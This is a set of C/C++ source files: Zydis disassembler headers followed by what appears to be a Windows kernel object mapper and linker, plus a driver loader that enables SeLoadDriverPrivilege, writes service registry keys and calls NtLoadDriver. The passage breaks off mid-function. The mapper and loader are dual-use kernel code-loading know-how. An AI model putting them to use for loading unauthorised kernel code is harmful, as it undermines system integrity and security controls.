#define ZYDIS_STATUS_MALFORMED_EVEX \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x08u)
/**
* An error occured while decoding the MVEX-prefix.
*/
#define ZYDIS_STATUS_MALFORMED_MVEX \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x09u)
/**
* An invalid write-mask was specified for an EVEX/MVEX instruction.
*/
#define ZYDIS_STATUS_INVALID_MASK \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x0Au)
/* ---------------------------------------------------------------------------------------------- */
/* Formatter */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returning this status code in some specified formatter callbacks will cause
* the formatter to omit the corresponding token.
*
* Valid callbacks:
* - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND`
* - `ZYDIS_FORMATTER_FUNC_POST_OPERAND`
* - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG`
* - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM`
* - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR`
* - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM`
*/
#define ZYDIS_STATUS_SKIP_TOKEN \
ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYDIS, 0x0Bu)
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_STATUS_H */

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Other utility functions.
*/
#ifndef ZYDIS_UTILS_H
#define ZYDIS_UTILS_H
#include <Zycore/Defines.h>
#include <Zydis/DecoderTypes.h>
#include <Zydis/Status.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Constants */
/* ---------------------------------------------------------------------------------------------- */
#define ZYDIS_MAX_INSTRUCTION_SEGMENT_COUNT 9
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZydisInstructionSegment` struct.
*/
typedef enum ZydisInstructionSegment_
{
ZYDIS_INSTR_SEGMENT_NONE,
/**
* The legacy prefixes (including ignored `REX` prefixes).
*/
ZYDIS_INSTR_SEGMENT_PREFIXES,
/**
* The effective `REX` prefix byte.
*/
ZYDIS_INSTR_SEGMENT_REX,
/**
* The `XOP` prefix bytes.
*/
ZYDIS_INSTR_SEGMENT_XOP,
/**
* The `VEX` prefix bytes.
*/
ZYDIS_INSTR_SEGMENT_VEX,
/**
* The `EVEX` prefix bytes.
*/
ZYDIS_INSTR_SEGMENT_EVEX,
/**
* The `MVEX` prefix bytes.
*/
ZYDIS_INSTR_SEGMENT_MVEX,
/**
* The opcode bytes.
*/
ZYDIS_INSTR_SEGMENT_OPCODE,
/**
* The `ModRM` byte.
*/
ZYDIS_INSTR_SEGMENT_MODRM,
/**
* The `SIB` byte.
*/
ZYDIS_INSTR_SEGMENT_SIB,
/**
* The displacement bytes.
*/
ZYDIS_INSTR_SEGMENT_DISPLACEMENT,
/**
* The immediate bytes.
*/
ZYDIS_INSTR_SEGMENT_IMMEDIATE,
/**
* Maximum value of this enum.
*/
ZYDIS_INSTR_SEGMENT_MAX_VALUE = ZYDIS_INSTR_SEGMENT_IMMEDIATE,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_INSTR_SEGMENT_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_INSTR_SEGMENT_MAX_VALUE)
} ZydisInstructionSegment;
/**
* Defines the `ZydisInstructionSegments` struct.
*/
typedef struct ZydisInstructionSegments_
{
/**
* The number of logical instruction segments.
*/
ZyanU8 count;
struct
{
/**
* The type of the segment.
*/
ZydisInstructionSegment type;
/**
* The offset of the segment relative to the start of the instruction (in bytes).
*/
ZyanU8 offset;
/**
* The size of the segment, in bytes.
*/
ZyanU8 size;
} segments[ZYDIS_MAX_INSTRUCTION_SEGMENT_COUNT];
} ZydisInstructionSegments;
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* @addtogroup utils Utils
* Miscellaneous utility functions. Address translation and other helpers.
* @{
*/
/* ---------------------------------------------------------------------------------------------- */
/* Address calculation */
/* ---------------------------------------------------------------------------------------------- */
// TODO: Provide a function that works in minimal-mode and does not require a operand parameter
/**
* Calculates the absolute address value for the given instruction operand.
*
* @param instruction A pointer to the `ZydisDecodedInstruction` struct.
* @param operand A pointer to the `ZydisDecodedOperand` struct.
* @param runtime_address The runtime address of the instruction.
* @param result_address A pointer to the memory that receives the absolute address.
*
* @return A zyan status code.
*
* You should use this function in the following cases:
* - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...)
* - `MEM` operands with `RIP`/`EIP`-relative address (e.g. `MOV RAX, [RIP+0x12345678]`)
* - `MEM` operands with absolute address (e.g. `MOV RAX, [0x12345678]`)
* - The displacement needs to get truncated and zero extended
*/
ZYDIS_EXPORT ZyanStatus ZydisCalcAbsoluteAddress(const ZydisDecodedInstruction* instruction,
const ZydisDecodedOperand* operand, ZyanU64 runtime_address, ZyanU64* result_address);
/**
* Calculates the absolute address value for the given instruction operand.
*
* @param instruction A pointer to the `ZydisDecodedInstruction` struct.
* @param operand A pointer to the `ZydisDecodedOperand` struct.
* @param runtime_address The runtime address of the instruction.
* @param register_context A pointer to the `ZydisRegisterContext` struct.
* @param result_address A pointer to the memory that receives the absolute target-address.
*
* @return A zyan status code.
*
* This function behaves like `ZydisCalcAbsoluteAddress` but takes an additional register-context
* argument to allow calculation of addresses depending on runtime register values.
*
* Note that `IP/EIP/RIP` from the register-context will be ignored in favor of the passed
* runtime-address.
*/
ZYDIS_EXPORT ZyanStatus ZydisCalcAbsoluteAddressEx(const ZydisDecodedInstruction* instruction,
const ZydisDecodedOperand* operand, ZyanU64 runtime_address,
const ZydisRegisterContext* register_context, ZyanU64* result_address);
/* ---------------------------------------------------------------------------------------------- */
/* Accessed CPU flags */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns a mask of accessed CPU-flags matching the given `action`.
*
* @param instruction A pointer to the `ZydisDecodedInstruction` struct.
* @param action The CPU-flag action.
* @param flags Receives the flag mask.
*
* @return A zyan status code.
*/
ZYDIS_EXPORT ZyanStatus ZydisGetAccessedFlagsByAction(const ZydisDecodedInstruction* instruction,
ZydisCPUFlagAction action, ZydisCPUFlags* flags);
/**
* Returns a mask of accessed CPU-flags that are read (tested) by the current instruction.
*
* DEPRECATED. This function will be removed in the next major release. Please refer to the
* `cpu_flags_read` or `fpu_flags_read` fields of the `ZydisDecodedInstruction` instead.
*
* @param instruction A pointer to the `ZydisDecodedInstruction` struct.
* @param flags Receives the flag mask.
*
* @return A zyan status code.
*/
ZYDIS_DEPRECATED_EXPORT ZyanStatus ZydisGetAccessedFlagsRead(
const ZydisDecodedInstruction* instruction, ZydisCPUFlags* flags);
/**
* Returns a mask of accessed CPU-flags that are written (modified, undefined) by the current
* instruction.
*
* DEPRECATED. This function will be removed in the next major release. Please refer to the
* `cpu_flags_written` or `fpu_flags_written` fields of the `ZydisDecodedInstruction` instead.
*
* @param instruction A pointer to the `ZydisDecodedInstruction` struct.
* @param flags Receives the flag mask.
*
* @return A zyan status code.
*/
ZYDIS_DEPRECATED_EXPORT ZyanStatus ZydisGetAccessedFlagsWritten(
const ZydisDecodedInstruction* instruction, ZydisCPUFlags* flags);
/* ---------------------------------------------------------------------------------------------- */
/* Instruction segments */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns offsets and sizes of all logical instruction segments (e.g. `OPCODE`,
* `MODRM`, ...).
*
* @param instruction A pointer to the `ZydisDecodedInstruction` struct.
* @param segments Receives the instruction segments information.
*
* @return A zyan status code.
*/
ZYDIS_EXPORT ZyanStatus ZydisGetInstructionSegments(const ZydisDecodedInstruction* instruction,
ZydisInstructionSegments* segments);
/* ---------------------------------------------------------------------------------------------- */
/**
* @}
*/
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_UTILS_H */

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Master include file, including everything else.
*/
#ifndef ZYDIS_H
#define ZYDIS_H
#include <Zycore/Defines.h>
#include <Zycore/Types.h>
#ifndef ZYDIS_DISABLE_DECODER
# include <Zydis/Decoder.h>
# include <Zydis/DecoderTypes.h>
#endif
#ifndef ZYDIS_DISABLE_FORMATTER
# include <Zydis/Formatter.h>
#endif
#include <Zydis/MetaInfo.h>
#include <Zydis/Mnemonic.h>
#include <Zydis/Register.h>
#include <Zydis/SharedTypes.h>
#include <Zydis/Status.h>
#include <Zydis/Utils.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Constants */
/* ---------------------------------------------------------------------------------------------- */
/**
* A macro that defines the zydis version.
*/
#define ZYDIS_VERSION (ZyanU64)0x0003000100000000
/* ---------------------------------------------------------------------------------------------- */
/* Helper macros */
/* ---------------------------------------------------------------------------------------------- */
/**
* Extracts the major-part of the zydis version.
*
* @param version The zydis version value
*/
#define ZYDIS_VERSION_MAJOR(version) (ZyanU16)(((version) & 0xFFFF000000000000) >> 48)
/**
* Extracts the minor-part of the zydis version.
*
* @param version The zydis version value
*/
#define ZYDIS_VERSION_MINOR(version) (ZyanU16)(((version) & 0x0000FFFF00000000) >> 32)
/**
* Extracts the patch-part of the zydis version.
*
* @param version The zydis version value
*/
#define ZYDIS_VERSION_PATCH(version) (ZyanU16)(((version) & 0x00000000FFFF0000) >> 16)
/**
* Extracts the build-part of the zydis version.
*
* @param version The zydis version value
*/
#define ZYDIS_VERSION_BUILD(version) (ZyanU16)((version) & 0x000000000000FFFF)
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZydisFeature` enum.
*/
typedef enum ZydisFeature_
{
ZYDIS_FEATURE_DECODER,
ZYDIS_FEATURE_FORMATTER,
ZYDIS_FEATURE_AVX512,
ZYDIS_FEATURE_KNC,
/**
* Maximum value of this enum.
*/
ZYDIS_FEATURE_MAX_VALUE = ZYDIS_FEATURE_KNC,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_FEATURE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FEATURE_MAX_VALUE)
} ZydisFeature;
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* @addtogroup version Version
* Functions for checking the library version and build options.
* @{
*/
/**
* Returns the zydis version.
*
* @return The zydis version.
*
* Use the macros provided in this file to extract the major, minor, patch and build part from the
* returned version value.
*/
ZYDIS_EXPORT ZyanU64 ZydisGetVersion(void);
/**
* Checks, if the specified feature is enabled in the current zydis library instance.
*
* @param feature The feature.
*
* @return `ZYAN_STATUS_TRUE` if the feature is enabled, `ZYAN_STATUS_FALSE` if not. Another
* zyan status code, if an error occured.
*/
ZYDIS_EXPORT ZyanStatus ZydisIsFeatureEnabled(ZydisFeature feature);
/**
* @}
*/
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_H */

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#ifndef ZYDIS_EXPORT_H
#define ZYDIS_EXPORT_H
#ifdef ZYDIS_STATIC_DEFINE
# define ZYDIS_EXPORT
# define ZYDIS_NO_EXPORT
#else
# ifndef ZYDIS_EXPORT
# ifdef Zydis_EXPORTS
/* We are building this library */
# define ZYDIS_EXPORT __declspec(dllexport)
# else
/* We are using this library */
# define ZYDIS_EXPORT __declspec(dllimport)
# endif
# endif
# ifndef ZYDIS_NO_EXPORT
# define ZYDIS_NO_EXPORT
# endif
#endif
#ifndef ZYDIS_DEPRECATED
# define ZYDIS_DEPRECATED __declspec(deprecated)
#endif
#ifndef ZYDIS_DEPRECATED_EXPORT
# define ZYDIS_DEPRECATED_EXPORT ZYDIS_EXPORT ZYDIS_DEPRECATED
#endif
#ifndef ZYDIS_DEPRECATED_NO_EXPORT
# define ZYDIS_DEPRECATED_NO_EXPORT ZYDIS_NO_EXPORT ZYDIS_DEPRECATED
#endif
#if 0 /* DEFINE_NO_DEPRECATED */
# ifndef ZYDIS_NO_DEPRECATED
# define ZYDIS_NO_DEPRECATED
# endif
#endif
#endif /* ZYDIS_EXPORT_H */

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#include "hmdm_ctx.h"
namespace drv
{
hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines)
:
kalloc(std::get<0>(routines)),
kmemcpy(std::get<1>(routines))
{}
auto hmdm_ctx::map_objs(std::vector<lnk::obj_buffer_t>& objs) -> image_entry_t
{
std::map<std::string, std::uintptr_t> mapped_symbols;
// for each obj, allocate space for each symbol and create a map of where
// these symbols will be in memory...
for (auto obj : objs)
{
for (auto symbol : lnk::sym::get_all(obj))
{
mapped_symbols[symbol.symbol_name] =
reinterpret_cast<std::uintptr_t>(kalloc(symbol.size));
std::printf("> %s allocated at = 0x%p, size = %d\n",
symbol.symbol_name.c_str(), mapped_symbols[symbol.symbol_name], symbol.size);
}
}
try
{
if (!mapped_symbols["drv_entry"])
{
std::printf("> no symbol named drv_entry... (entry point must be named drv_entry)...\n");
return {};
}
}
catch (std::exception& e)
{
std::printf("> no symbol named drv_entry... (entry point must be named drv_entry)...\n");
return {};
}
// resolve relocations and "imports"...
// if a relocation to a symbol is not found inside of the hashmap of symbols
// created in the last for loop (above ^) then its going to try and
// resolve the symbol as an ntoskrnl import...
for (auto obj : objs)
{
for (auto reloc : lnk::sym::get_relocs(obj))
{
if (reloc.type != IMAGE_REL_AMD64_ADDR64)
{
std::printf("> error... unsupported relocation at file offset = 0x%x\n\t> symbol = %s\n",
reloc.file_offset, reloc.resolve_symbol_name.c_str());
return {};
}
const auto reloc_addr =
reinterpret_cast<std::uintptr_t*>(
obj.data() + reloc.file_offset);
if (mapped_symbols[reloc.resolve_symbol_name])
{
// patch kernel address into relocation...
*reloc_addr = mapped_symbols[reloc.resolve_symbol_name];
}
else
{
// TODO: parse PDB for kernel driver symbols...
const auto ntoskrnl_symbol =
utils::kmodule::get_export(
"ntoskrnl.exe", reloc.resolve_symbol_name.c_str());
std::printf("> resolved external symbol %s = 0x%p\n",
reloc.resolve_symbol_name.c_str(), ntoskrnl_symbol);
if (!ntoskrnl_symbol)
{
std::printf("> brutal! unresolved external symbol = %s\n",
reloc.resolve_symbol_name.c_str());
return {};
}
// resolve ntoskrnl exports for now...
*reloc_addr = ntoskrnl_symbol;
}
}
}
// copy each symbol into memory now...
for (auto obj : objs)
{
for (auto symbol : lnk::sym::get_all(obj))
{
const auto symbol_mapped =
reinterpret_cast<void*>(
mapped_symbols[symbol.symbol_name]);
kmemcpy(symbol_mapped,
obj.data() + symbol.file_offset, symbol.size);
}
}
return mapped_symbols["drv_entry"];
}
}

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Theodosius/hmdm_ctx.h
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#pragma once
#include "utils.hpp"
#include "linker/linker.hpp"
#include <Zycore/Zycore.h>
#include <Zydis/Decoder.h>
#include <Zydis/Formatter.h>
#include <winternl.h>
#include <type_traits>
#include <dbghelp.h>
#pragma comment(lib, "Dbghelp.lib")
namespace drv
{
using kalloc_t = std::function<decltype(malloc)>;
using kmemcpy_t = std::function<decltype(memcpy)>;
using kmemset_t = std::function<decltype(memset)>;
using image_entry_t = std::uintptr_t;
using mapper_routines_t = std::pair<kalloc_t, kmemcpy_t>;
class hmdm_ctx
{
public:
explicit hmdm_ctx(const mapper_routines_t& routines);
auto map_objs(std::vector<lnk::obj_buffer_t>& objs) -> image_entry_t;
const kalloc_t kalloc;
const kmemcpy_t kmemcpy;
private:
};
}

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Theodosius/linker/linker.cpp
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#include "linker.hpp"
namespace lnk
{
auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
const auto section_headers =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
obj.data() + sizeof IMAGE_FILE_HEADER);
const auto symbol_table =
reinterpret_cast<PIMAGE_SYMBOL>(
coff_header->PointerToSymbolTable + obj.data());
std::uint32_t result =
section_headers[sym.section_number - 1].SizeOfRawData;
// loop over all symbols in this object...
// find the next symbol inside of the same section...
for (auto idx = 0u; idx < coff_header->NumberOfSymbols; ++idx)
if (symbol_table[idx].SectionNumber == sym.section_number)
if (symbol_table[idx].Value > sym.section_offset && symbol_table[idx].Value < result)
result = symbol_table[idx].Value;
return result - sym.section_offset;
}
namespace section
{
auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
const auto section_headers =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
obj.data() + sizeof IMAGE_FILE_HEADER);
for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx)
if (!strncmp((char*)section_headers[idx].Name, section_name, strlen(section_name) - 1))
return section_headers + idx;
return {};
}
auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
const auto section_headers =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
obj.data() + sizeof IMAGE_FILE_HEADER);
for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx)
if (!callback(section_headers + idx, obj))
break;
}
}
namespace sym
{
auto get_relocs(obj_buffer_t& obj) -> std::vector<image_reloc_t>
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
const auto section_headers =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
obj.data() + sizeof IMAGE_FILE_HEADER);
const auto symbol_table =
reinterpret_cast<PIMAGE_SYMBOL>(
coff_header->PointerToSymbolTable + obj.data());
const auto string_table =
reinterpret_cast<const char*>(
reinterpret_cast<std::uintptr_t>(symbol_table) +
(coff_header->NumberOfSymbols * sizeof IMAGE_SYMBOL));
std::vector<image_reloc_t> result;
for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx)
{
if (section_headers[idx].PointerToRelocations)
{
// for some reason the compiler makes some empty sections...
if (!section_headers[idx].SizeOfRawData)
continue;
// skip over sections that we will not be using...
if (section_headers[idx].Characteristics & IMAGE_SCN_LNK_REMOVE)
continue;
// skip over discardable sections...
if (section_headers[idx].Characteristics & IMAGE_SCN_MEM_DISCARDABLE)
continue;
// skip both the .pdata and the .xdata sections... these are used for exceptions...
if (!strncmp((char*)section_headers[idx].Name, ".pdata", strlen(".pdata") - 1))
continue;
if (!strncmp((char*)section_headers[idx].Name, ".xdata", strlen(".xdata") - 1))
continue;
const auto reloc_dir =
reinterpret_cast<PIMAGE_RELOCATION>(
section_headers[idx].PointerToRelocations + obj.data());
for (auto reloc_idx = 0u; reloc_idx <
section_headers[idx].NumberOfRelocations; ++reloc_idx)
{
image_reloc_t entry;
entry.file_offset =
reloc_dir[reloc_idx].VirtualAddress +
section_headers[idx].PointerToRawData;
if (symbol_table[reloc_dir[reloc_idx].SymbolTableIndex].N.Name.Short)
entry.resolve_symbol_name =
std::string((char*)symbol_table[reloc_dir[
reloc_idx].SymbolTableIndex].N.ShortName);
else
entry.resolve_symbol_name = std::string(
string_table + symbol_table[reloc_dir[
reloc_idx].SymbolTableIndex].N.Name.Long);
entry.type = reloc_dir[reloc_idx].Type;
result.push_back(entry);
}
}
}
return result;
}
auto get_all(obj_buffer_t& obj) -> std::vector<symbol_t>
{
const auto coff_header =
reinterpret_cast<PIMAGE_FILE_HEADER>(obj.data());
const auto section_headers =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
obj.data() + sizeof IMAGE_FILE_HEADER);
const auto symbol_table =
reinterpret_cast<PIMAGE_SYMBOL>(
coff_header->PointerToSymbolTable + obj.data());
const auto string_table =
reinterpret_cast<const char*>(
reinterpret_cast<std::uintptr_t>(symbol_table) +
(coff_header->NumberOfSymbols * sizeof IMAGE_SYMBOL));
std::vector<symbol_t> result;
for (auto idx = 0u; idx < coff_header->NumberOfSymbols; ++idx)
{
// skip section symbols... we only want
// .data, .rdata, and executable (function) symbols...
if (symbol_table[idx].StorageClass != IMAGE_SYM_CLASS_EXTERNAL
|| !symbol_table[idx].SectionNumber)
{
if (symbol_table[idx].NumberOfAuxSymbols)
idx += symbol_table[idx].NumberOfAuxSymbols;
continue;
}
symbol_t symbol;
if (symbol_table[idx].N.Name.Short)
symbol.symbol_name =
std::string((char*)symbol_table[idx].N.ShortName);
else
symbol.symbol_name =
std::string(string_table +
symbol_table[idx].N.Name.Long);
if (symbol_table[idx].NumberOfAuxSymbols)
++idx;
symbol.file_offset = section_headers[symbol_table[
idx].SectionNumber - 1].PointerToRawData + symbol_table[idx].Value;
symbol.section_number = symbol_table[idx].SectionNumber;
symbol.section_offset = symbol_table[idx].Value;
symbol.type = symbol_table[idx].Type;
symbol.size = get_symbol_size(symbol, obj);
if (symbol_table[idx].NumberOfAuxSymbols)
idx += symbol_table[idx].NumberOfAuxSymbols;
result.push_back(symbol);
}
return result;
}
}
}

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#pragma once
#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <functional>
namespace lnk
{
struct symbol_t
{
// name of the symbol... not mangled...
std::string symbol_name;
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation
std::uint32_t type;
// what section this symbol is in...
std::uint32_t section_number;
// offset into section...
std::uint32_t section_offset;
// file offset into OBJ file...
std::uint32_t file_offset;
// virtual address of symbol once mapped into memory...
std::uintptr_t virt_addr;
// only used by functions... size in bytes of routine...
std::uint32_t size;
};
// redef of IMAGE_RELOCATION so that "VirtualAddress"
// will actually be a file offset instead of a section offset...
struct image_reloc_t
{
// name of the symbol to be resolved for example "ExAllocatePool"...
std::string resolve_symbol_name;
// offset into the obj file where the resolving needs to be done...
std::uint32_t file_offset;
// type of data that needs to be resolved... this will be 64bit addresses...
// https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators
std::uint16_t type;
};
using obj_buffer_t = std::vector<std::uint8_t>;
auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t;
namespace sym
{
auto get_all(obj_buffer_t& obj) -> std::vector<symbol_t>;
auto get_relocs(obj_buffer_t& obj)->std::vector<image_reloc_t>;
}
namespace section
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, obj_buffer_t& obj)>;
auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER;
auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void;
}
}

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/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <ntstatus.h>
#include <time.h>
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*)drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
inline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return NtLoadDriver(&driver_reg_path_unicode);
}
inline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
std::srand(std::time(0));
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
